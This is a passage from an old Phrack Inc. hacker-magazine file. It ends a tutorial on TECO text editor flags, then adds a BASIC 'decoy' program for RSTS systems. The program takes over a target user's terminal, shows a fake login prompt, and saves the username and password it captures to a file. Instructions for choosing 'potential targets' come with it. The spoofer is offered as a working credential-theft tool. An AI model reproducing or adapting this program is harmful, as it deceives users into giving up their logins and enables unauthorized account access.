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Value Meaning |
1 If an error is encountered within the operation of TECO, only the |
3-character error code is printed. |
2 If an error is encountered during operation, a short message |
explaining the error is printed. (default setting) |
3 If an error is encountered, the command(s) which led to the error |
are printed. |
'ET' |
ET, or Edit Terminal, is the command for modifying terminal output. Table |
of arguments follows: |
Value Meaning |
1 Output is in image mode. |
2 Terminal in use is a scope. |
4 Terminal in use has lowercase available. |
8 ^T is read without echo. |
16 Cancels ^O during output. |
128 TECO aborts if an error is encountered. |
256 Output to screen is truncated to the terminal's width. |
512 VT terminal support available. |
1024 (same as above) |
32768 Traps ^C |
'^X' |
^X, the last flag I'll mention, deals with searches. (Look above for the |
command to search.) |
Value Meaning |
0 Either case matches during searches. |
1 An exact case match is required to complete a search. |
CONCLUSION |
========== |
That just about wraps up the TECO text editor.. boring eh? But as I've said |
time and again, editors are important to hackers. |
Till next time... |
Solid State |
>>>PhoneLine Phantoms! |
_______________________________________________________________ |
File1- Addendum: |
Here's the updated version of the decoy program (yeah, the one that had an |
error!) that was featured in File1. The concept of this revision is slightly |
different, but it 'should' work more efficiently and easily than the first. |
To execute the program, first do a SYstat and record the KB numbers of |
potential targets. Run the program, and enter the number of the KB only.. |
(Don't hang up!) ..then just wait till the program has ended and then check |
the output file. |
Note: This listing will not without modification work on all systems or under |
all conditions. |
1 ! R S T S decoy |
10 EXTEND |
100 ON ERROR GOTO 1000 |
120 PRINT CHR$(140):PRINT:PRINT |
130 INPUT "To which keyboard (KB)";K$ |
140 K$=CVT$$(K$,4%) |
200 OPEN "KB:"+K$ AS FILE #1% |
220 INPUT LINE #1%,A$ |
230 IF CVT$$(A$,4%)="" THEN 220 |
240 PRINT #1% |
240 PRINT #1%,"RSTS" |
250 PRINT #1% |
260 PRINT #1%,"User: "; |
270 INPUT LINE #1%,U$:U$=CVT$$(U$,4%) |
280 T$=SYS(CHR$(3%)) |
290 PRINT #1%,"Password: "; |
300 INPUT LINE #1%,P$:P$=CVT$$(P$,4%) |
310 Z$=SYS(CHR$(2%)) |
320 PRINT #1% |
330 PRINT #1%,"Invalid entry - try again":PRINT #1% |
340 CLOSE #1% |
400 OPEN "DATA.TXT" FOR OUTPUT AS FILE #2% |
410 PRINT #2%,U$;";";P$ |
420 CLOSE #2% |
999 END |
1000 PRINT "?ERROR line #";ERL:STOP |
==Phrack Inc.== |
Volume One, Issue Nine, Phile #5 of 10 |
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